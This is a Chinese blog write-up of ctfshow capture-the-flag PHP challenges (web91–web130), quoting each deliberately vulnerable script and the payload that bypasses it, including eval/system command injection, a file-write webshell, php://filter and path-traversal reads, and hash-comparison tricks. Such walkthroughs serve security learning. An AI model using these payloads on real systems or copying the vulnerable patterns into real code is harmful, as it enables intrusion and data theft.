• WEB ---- ctfshow ---- PHP特性


    web91

    show_source(__FILE__);
    include('flag.php');
    $a=$_GET['cmd'];
    if(preg_match('/^php$/im', $a)){
        if(preg_match('/^php$/i', $a)){
            echo 'hacker';
        }
        else{
            echo $flag;
        }
    }
    else{
        echo 'nonononono';
    } 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    preg_match函数是正则表达式,参数i是不区分大小写,m是多行进行匹配
    ^是从字符串开头进行匹配,$是从字符串末尾进行匹配。

    preg_match('/^php$/im',$a)的含义是,判断变量a中是否有字符串php,进行多行匹配,不区分大小写。

    preg_match('/^php$/i',$a)的含义是,单号匹配变量a中是否有字符串php

    所以使用换行进行绕过,cmd=%0aphp

    web92

    include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==4476){
            die("no no no!");
        }
        if(intval($num,0)==4476){
            echo $flag;
        }else{
            echo intval($num,0);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    使用了intval函数 获取变量的整数值,intval($value,base)的含义解释:根据第二个参数进行数值获取,即转化所使用的进制

    如果 base 是 0,通过检测 value 的格式来决定使用的进制:
    如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
    如果字符串以 “0” 开始,使用 8 进制(octal);否则,
    将使用 10 进制 (decimal)。

    所以,intval($num,0)==4476简单的说就是对十进制的4476进行十六进制转换0x117c,或者八进制转换010574,或者二进制转换0b1 0001 0111 1100

    num=0x117c或者num=010574

    web93

    include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==4476){
            die("no no no!");
        }
        if(preg_match("/[a-z]/i", $num)){
            die("no no no!");
        }
        if(intval($num,0)==4476){
            echo $flag;
        }else{
            echo intval($num,0);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    因为使用了preg_match("/[a-z]/i", $num),含义是不能包括字母a-z,不分大小。
    所以只能使用八进制进行转换。

    num=010574

    web94

    include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==="4476"){
            die("no no no!");
        }
        if(preg_match("/[a-z]/i", $num)){
            die("no no no!");
        }
        if(!strpos($num, "0")){
            die("no no no!");
        }
        if(intval($num,0)===4476){
            echo $flag;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    遇到了strpos函数,进行解释一下
    strpos函数的作用 — 查找字符串首次出现的位置
    strpos(string,find,start)

    参数描述
    string必需。规定被搜索的字符串。
    find必需。规定要查找的字符。
    start可选。规定开始搜索的位置。

    strpos("I love php, I love php too!","php")
    输出结果为7

    !strpos($num, "0")的含义是避免0开头,若0开头,则返回结果为0,取反,结果为1。排除了结果num=010574

    再次查看inval函数

    
    echo intval(42);                      // 42
    echo intval(4.2);                     // 4
    echo intval('42');                    // 42
    echo intval('+42');                   // 42
    echo intval('-42');                   // -42
    echo intval(042);                     // 34
    echo intval('042');                   // 42
    echo intval(1e10);                    // 1410065408
    echo intval('1e10');                  // 1
    echo intval(0x1A);                    // 26
    echo intval(42000000);                // 42000000
    echo intval(420000000000000000000);   // 0
    echo intval('420000000000000000000'); // 2147483647
    echo intval(42, 8);                   // 42
    echo intval('42', 8);                 // 34
    echo intval(array());                 // 0
    echo intval(array('foo', 'bar'));     // 1
    echo intval(false);                   // 0
    echo intval(true);                    // 1
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    使用小数进行绕过,num=4476.0

    web95

    include("flag.php");
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        $num = $_GET['num'];
        if($num==4476){
            die("no no no!");
        }
        if(preg_match("/[a-z]|\./i", $num)){
            die("no no no!!");
        }
        if(!strpos($num, "0")){
            die("no no no!!!");
        }
        if(intval($num,0)===4476){
            echo $flag;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    使用preg_match("/[a-z]|\./i", $num),过滤了字母a-z不区分大小写,还过滤了小数点.

    于是采用正数进行绕过,num=+010574

    web96

    highlight_file(__FILE__);
    
    if(isset($_GET['u'])){
        if($_GET['u']=='flag.php'){
            die("no no no");
        }else{
            highlight_file($_GET['u']);
        }
    
    } 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    highlight_file函数进行解释.

    highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。

    highlight_file(filename,return)

    参数描述
    filename必需。规定要显示的文件。
    return可选。如果该参数设置为 TRUE,该函数将以字符串形式返回高亮显示的代码,而不是直接进行输出。默认是 FALSE。

    本题含义是,输出flag.php的内容,所以可以也可以是输出当前目录下的flag.php
    结果为:num=./flag.php

    web97

    include("flag.php");
    highlight_file(__FILE__);
    if (isset($_POST['a']) and isset($_POST['b'])) {
    if ($_POST['a'] != $_POST['b'])
    if (md5($_POST['a']) === md5($_POST['b']))
    echo $flag;
    else
    print 'Wrong.';
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    传入两个参数,ab,要求ab的数值不同,但是经过md5编码后结果相同。

    利用对象进行绕过,因为进行md5编码,只看对象,而不看对象的值

    使用数组进行绕过,a[]=1&b[]=2

    web98

    include("flag.php");
    $_GET?$_GET=&$_POST:'flag';
    $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
    $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
    highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
    
    • 1
    • 2
    • 3
    • 4
    • 5

    三目运算符进行解释
    (expr1)?(expr2):(expr3); //表达式1?表达式2:表达式3

    解释:如果条件“expr1”成立,则执行语句“expr2”,否则执行“expr3”

    $_GET?$_GET=&$_POST:'flag';的含义:是否有GET传参,若有则将POST传参的内容覆盖掉GET传参的内容,若没有GET传参,则GET传参的内容为flag

    $_GET['HTTP_FLAG']=='flag'?$flag:__FILE__的含义:GET传参的变量HTTP_FLAG的值是否是flag,若是则结果为$flag

    所以,意思为GET传参随便写(比如,flag=1),POST传参HTTP_FLAG=flag,存在POST传参GET传参替换掉原来的值,改为POST传参的值

    GET传参,flag=1
    POST传参,HTTP_FLAG=flag

    web99

    highlight_file(__FILE__);
    $allow = array();
    for ($i=36; $i < 0x36d; $i++) { 
        array_push($allow, rand(1,$i));
    }
    if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
        file_put_contents($_GET['n'], $_POST['content']);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    $allow = array(); //设置为数组

    array_push() 函数 向数组尾部插入一个或多个元素。

    array_push(array,value1,value2...)

    参数描述
    array必需。规定一个数组。
    value1必需。规定要添加的值。
    value2可选。规定要添加的值。

    array_push($allow, rand(1,$i)); //向数组里面插入随机数

    in_array() 函数 搜索数组中是否存在指定的值。

    bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

    参数描述
    needle必需。规定要在数组搜索的值。
    haystack必需。规定要搜索的数组。
    strict可选。如果该参数设置为 TRUE,则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。

    in_array() 函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1

    file_put_contents() 函数把一个字符串写入文件中。

    详细信息查看下面链接

    https://www.runoob.com/php/func-filesystem-file-put-contents.html

    GET传参 ?n=123.php
    POST传参 content=
    然后就是,123.php/?password=system('ls');
    123.php?password=system('nl flag36d.php');
    然后查看源码,或者使用cattac

    web100

    highlight_file(__FILE__);
    include("ctfshow.php");
    //flag in class ctfshow;
    $ctfshow = new ctfshow();
    $v1=$_GET['v1'];
    $v2=$_GET['v2'];
    $v3=$_GET['v3'];
    $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
    if($v0){
        if(!preg_match("/\;/", $v2)){
            if(preg_match("/\;/", $v3)){
                eval("$v2('ctfshow')$v3");
            }
        }
        
    } 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    is_numeric() 函数用于检测变量是否为数字或数字字符串。

    更多信息查看下方链接

    https://www.runoob.com/php/php-is_numeric-function.html

    这里介绍一下&&and逻辑运算符

    
    $a=true and false and false;
    var_dump($a);  返回true
    
    $a=true && false && false;
    var_dump($a);  返回false
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    很明显,v1只要是数字就行
    var_dump() 函数用于输出变量的相关信息。
    v2是var_dump($ctfshow)而v3为;
    v1=1&v2=var_dump($ctfshow)&v3;

    或者是
    v1=1&v2=system('ls')&v3=;
    v1=1&v2=system('tac ctfshow.php')&v3=;

    web101

    highlight_file(__FILE__);
    include("ctfshow.php");
    //flag in class ctfshow;
    $ctfshow = new ctfshow();
    $v1=$_GET['v1'];
    $v2=$_GET['v2'];
    $v3=$_GET['v3'];
    $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
    if($v0){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
            if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
                eval("$v2('ctfshow')$v3");
            }
        }
        
    } 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    这里用到了php反射类,
    ReflectionClass 类报告了一个类的有关信息。
    可以参考官方文档查看
    https://www.php.net/manual/zh/class.reflectionclass.php

    构造v1=1&v2=echo new Reflectionclass&v3=;
    并且注意得到的flag并不完整,缺少最后一位,可以进行爆破获取

    web102

    highlight_file(__FILE__);
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    $v4 = is_numeric($v2) and is_numeric($v3);
    if($v4){
        $s = substr($v2,2);
        $str = call_user_func($v1,$s);
        echo $str;
        file_put_contents($v3,$str);
    }
    else{
        die('hacker');
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    substr() 函数 返回字符串的一部分。
    substr(string,start,length)
    string 规定要返回其中一部分的字符串。
    start 必需。规定在字符串的何处开始。
    length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。

    call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。

    file_put_contents() 函数把一个字符串写入文件中

    v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=2.php
    v1=hex2bin
    然后访问2.php,查看源码

    115044383959474e6864434171594473其中的开头11其填充作用,然后使用16进制转换文本在线工具得到base64编码的字符串PD89YGNhdCAqYDs
    然后再base64解码得到 *`;

    hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

    补充一个知识,and和or

    关于or,and的使用,查资料得知:and相当于then,or相当于else

    举例来理解这两个关键字的使用:

    比如:

    $b or $a=1000;

    他与下面这段代码是等价的:

    if($b==true){}else{ $a=1000;}

    $b and $a=1;

    等价于:

    if($b==true){ $a=1; }

    $a and $b=1 or $c=1

    等价于:

    if ($a){ $b=1; }else{ $c=1; }

    web103

    highlight_file(__FILE__);
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    $v4 = is_numeric($v2) and is_numeric($v3);
    if($v4){
        $s = substr($v2,2);
        $str = call_user_func($v1,$s);
        echo $str;
        if(!preg_match("/.*p.*h.*p.*/i",$str)){
            file_put_contents($v3,$str);
        }
        else{
            die('Sorry');
        }
    }
    else{
        die('hacker');
    } 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    和上题的payload一样,只是多了一个正则表达式

    web104

    highlight_file(__FILE__);
    include("flag.php");
    
    if(isset($_POST['v1']) && isset($_GET['v2'])){
        $v1 = $_POST['v1'];
        $v2 = $_GET['v2'];
        if(sha1($v1)==sha1($v2)){
            echo $flag;
        }
    } 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    额,使用了sha1()加密函数只要v1和v2的值相等就可得到flag

    web105

    highlight_file(__FILE__);
    include('flag.php');
    error_reporting(0);
    $error='你还想要flag嘛?';
    $suces='既然你想要那给你吧!';
    foreach($_GET as $key => $value){
        if($key==='error'){
            die("what are you doing?!");
        }
        $$key=$$value;
    }foreach($_POST as $key => $value){
        if($value==='flag'){
            die("what are you doing?!");
        }
        $$key=$$value;
    }
    if(!($_POST['flag']==$flag)){
        die($error);
    }
    echo "your are good".$flag."\n";
    die($suces);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    对于foreach函数,foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。有两种语法:

    foreach (iterable_expression as $value)
        statement
    foreach (iterable_expression as $key => $value)
        statement
    
    • 1
    • 2
    • 3
    • 4

    第一种格式遍历给定的 iterable_expression 迭代器。每次循环中,当前单元的值被赋给 $value

    第二种格式做同样的事,只除了当前单元的键名也会在每次循环中被赋给变量 $key

    web106

    highlight_file(__FILE__);
    include("flag.php");
    
    if(isset($_POST['v1']) && isset($_GET['v2'])){
        $v1 = $_POST['v1'];
        $v2 = $_GET['v2'];
        if(sha1($v1)==sha1($v2) && $v1!=$v2){
            echo $flag;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    本题和web104,是一样的,补充了web104的不足,添加了$v1!=$v2

    v1=aaK1STfYv2=aaO8zKZF

    web107

    highlight_file(__FILE__);
    error_reporting(0);
    include("flag.php");
    
    if(isset($_POST['v1'])){
        $v1 = $_POST['v1'];
        $v3 = $_GET['v3'];
           parse_str($v1,$v2);
           if($v2['flag']==md5($v3)){
               echo $flag;
           }
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    parse_str() 函数把查询字符串解析到变量中。

    parse_str(string,array)

    string 必需。规定要解析的字符串。
    array 可选。规定存储变量的数组名称。该参数指示变量存储到数组中。

    可以参考文档
    https://www.runoob.com/php/func-string-parse-str.html

    $v2['flag']所得,$v1中必有flag,而且flag的值需要和md5($v3)的数值相等。

    所以构造v1=flag=0,则需要md5($v3)的值也为0.
    所以v3=240610708 240610708 md5编码后结果为0e462097431906509019562988736854,科学计数法,结果为0.

    web108

    highlight_file(__FILE__);
    error_reporting(0);
    include("flag.php");
    
    if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
        die('error');
    
    }
    //只有36d的人才能看到flag
    if(intval(strrev($_GET['c']))==0x36d){
        echo $flag;
    } 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

    strrev() 函数反转字符串。

    intval()函数遇到非数字字符就会停止识别, 877a识别为877

    构造c=a%00778

    web109

    highlight_file(__FILE__);
    error_reporting(0);
    if(isset($_GET['v1']) && isset($_GET['v2'])){
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];
    
        if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
                eval("echo new $v1($v2());");
        }
    
    } 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    看到这里echo new $v1($v2());,想到new Reflectionclass反射

    考点是Exception 异常处理类

    这里通过异常处理类Exception(system('cmd'))可以运行指定代码,并且能返回运行的结果

    构造v1=Reflectionclass&v2=system('ls')

    web110

    highlight_file(__FILE__);
    error_reporting(0);
    if(isset($_GET['v1']) && isset($_GET['v2'])){
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];
    
        if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
                die("error v1");
        }
        if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
                die("error v2");
        }
    
        eval("echo new $v1($v2());");
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    构造v1=FilesystemIterator&v2=getcwd,知识有限,后续学习之后再解释

    web111

    highlight_file(__FILE__);
    error_reporting(0);
    include("flag.php");
    
    function getFlag(&$v1,&$v2){
        eval("$$v1 = &$$v2;");
        var_dump($$v1);
    }
    
    if(isset($_GET['v1']) && isset($_GET['v2'])){
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];
    
        if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
                die("error v1");
        }
        if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
                die("error v2");
        }
        
        if(preg_match('/ctfshow/', $v1)){
                getFlag($v1,$v2);
        }
        
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    $GLOBALS — 引用全局作用域中可用的全部变量
    一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

    由于preg_match('/ctfshow/', $v1),所以$v1的值为ctfshow
    $v2赋值为GLOBALS

    构造v1=ctfshow&v2=GLOBALS

    web112

    highlight_file(__FILE__);
    error_reporting(0);
    function filter($file){
        if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
            die("hacker!");
        }else{
            return $file;
        }
    }
    $file=$_GET['file'];
    if(! is_file($file)){
        highlight_file(filter($file));
    }else{
        echo "hacker!";
    } 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    is_file() 函数检查指定的文件是否是常规的文件。

    如果文件是常规的文件,该函数返回 TRUE

    大致题意,! is_file($file) 结果得为ture,不能识别出是文件

    得用php伪协议

    php://filter/resource=flag.php 不带任何过滤器的filter
    php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
    php://filter/read=convert.quoted-printable-encode/resource=flag.php 可打印字符引用编码
    compress.zlib://flag.php 压缩流

    web113

    highlight_file(__FILE__);
    error_reporting(0);
    function filter($file){
        if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
            die('hacker!');
        }else{
            return $file;
        }
    }
    $file=$_GET['file'];
    if(! is_file($file)){
        highlight_file(filter($file));
    }else{
        echo "hacker!";
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    过滤了filter,构造file=compress.zlib://flag.php使用压缩流,也可以拿到flag

    查看了一下提示,使用了/proc/self/root,在linux/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容.

    /proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php

    web114

    error_reporting(0);
    highlight_file(__FILE__);
    function filter($file){
        if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
            die('hacker!');
        }else{
            return $file;
        }
    }
    $file=$_GET['file'];
    echo "师傅们居然tql都是非预期 哼!";
    if(! is_file($file)){
        highlight_file(filter($file));
    }else{
        echo "hacker!";
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    没有过滤flagfilter,直接构造file=php://filter/resource=flag.php

    web115

    include('flag.php');
    highlight_file(__FILE__);
    error_reporting(0);
    function filter($num){
        $num=str_replace("0x","1",$num);
        $num=str_replace("0","1",$num);
        $num=str_replace(".","1",$num);
        $num=str_replace("e","1",$num);
        $num=str_replace("+","1",$num);
        return $num;
    }
    $num=$_GET['num'];
    if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
        if($num=='36'){
            echo $flag;
        }else{
            echo "hacker!!";
        }
    }else{
        echo "hacker!!!";
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36')
    判断是数字不能是36,trim()删除一些字符,最后filter()过滤掉进制,浮点数,e,+,然后if($num=='36')得到flag,可以测试出一些字符。

    进行爆破

    测试is_numeric
    <?php
    for ($i=0; $i <128 ; $i++) { 
        $s=chr($i).'1';
       if(is_numeric($s)==true){
            echo urlencode(chr($i))."\n";
       }
    }
    ?>
    输出:%09%0A、 %0B、 %0C、 %0D、 +%2B、 -.(点)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    测试trim
    <?php
    for ($i=0; $i <=128 ; $i++) { 
        $s=chr($i).'1';
       if(trim($s)!=='1' &&  is_numeric($s)){
            echo urlencode(chr($i))."\n";
       }
    }
    ?>
    输出:%0C、%2B(+号)、-.(点)、0123456789
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    除去被过滤的+ - . ,只剩下%0c ,也就是换页符\f

    构造num=%0c36

    web125

    error_reporting(0);
    highlight_file(__FILE__);
    include("flag.php");
    $a=$_SERVER['argv'];
    $c=$_POST['fun'];
    if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
             eval("$c".";");
             if($fl0g==="flag_give_me"){
                 echo $flag;
             }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    过滤了输出语句,还有flag

    构造POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[pw])
    GET:pw=flag.php

    web126

    error_reporting(0);
    highlight_file(__FILE__);
    include("flag.php");
    $a=$_SERVER['argv'];
    $c=$_POST['fun'];
    if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
             eval("$c".";");  
             if($fl0g==="flag_give_me"){
                 echo $flag;
             }
        }
    } 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    构造POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=assert($a[0])
    GET:$fl0g=flag_give_me

    web127

    error_reporting(0);
    include("flag.php");
    highlight_file(__FILE__);
    $ctf_show = md5($flag);
    $url = $_SERVER['QUERY_STRING'];
    
    
    //特殊字符检测
    function waf($url){
        if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
            return true;
        }else{
            return false;
        }
    }
    
    if(waf($url)){
        die("嗯哼?");
    }else{
        extract($_GET);
    }
    
    
    if($ctf_show==='ilove36d'){
        echo $flag;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    构造GET:ctf show=ilove36d

    web128

    error_reporting(0);
    include("flag.php");
    highlight_file(__FILE__);
    
    $f1 = $_GET['f1'];
    $f2 = $_GET['f2'];
    
    if(check($f1)){
        var_dump(call_user_func(call_user_func($f1,$f2)));
    }else{
        echo "嗯哼?";
    }
    
    
    function check($str){
        return !preg_match('/[0-9]|[a-z]/i', $str);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    mixed call_user_func(回调 函数名 [,混合 参数 [,混合$ ...]])
    调用用户定义函数来确定函数参数。

    _()是一个函数
    _()==gettext()gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll

    get_defined_vars()函数,get_defined_vars — 返回由所有已定义变量所组成的数组

    关于gettext函数参考下面链接

    https://www.cnblogs.com/lost-1987/articles/3309693.html

    构造:f1=_&f2=get_defined_vars

    web129

    error_reporting(0);
    highlight_file(__FILE__);
    if(isset($_GET['f'])){
        $f = $_GET['f'];
        if(stripos($f, 'ctfshow')>0){
            echo readfile($f);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。

    stripos(string,find,start)
    string 必需。规定被搜索的字符串。
    find 必需。规定要查找的字符。
    start 可选。规定开始搜索的位置。

    构造:f=/ctfshow/../../../../var/www/html/flag.php

    web130

    error_reporting(0);
    highlight_file(__FILE__);
    include("flag.php");
    if(isset($_POST['f'])){
        $f = $_POST['f'];
    
        if(preg_match('/.+?ctfshow/is', $f)){
            die('bye!');
        }
        if(stripos($f, 'ctfshow') === FALSE){
            die('bye!!');
        }
    
        echo $flag;
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    这个正则只有在ctfshow前面至少有一个字符才匹配到,所以f直接等于ctfshow就可以

    构造:f=ctfshow

  • 相关阅读:
    【第十五篇】Camunda系列-任务回退【驳回回退】
    BERT-as-service 时隔三年突然更新,这次连名儿都改了
    SpringBoot之缓存篇
    每日一题|2022-11-4|754. 到达终点数字|数学|Golang
    QT+OpenGL高级光照 Blinn-Phong和Gamma校正
    【每日一道LeetCode】——面试题 17.04. 消失的数字、189. 轮转数组
    安装MPICH并运行第一行代码
    绕过UNION&SELECT过滤
    vue+element封装一个填写和校验ip地址的组件
    泰山OFFICE技术讲座:同一行不同字号的字如何对齐绘制
  • 原文地址:https://blog.csdn.net/ckk1314520/article/details/126138451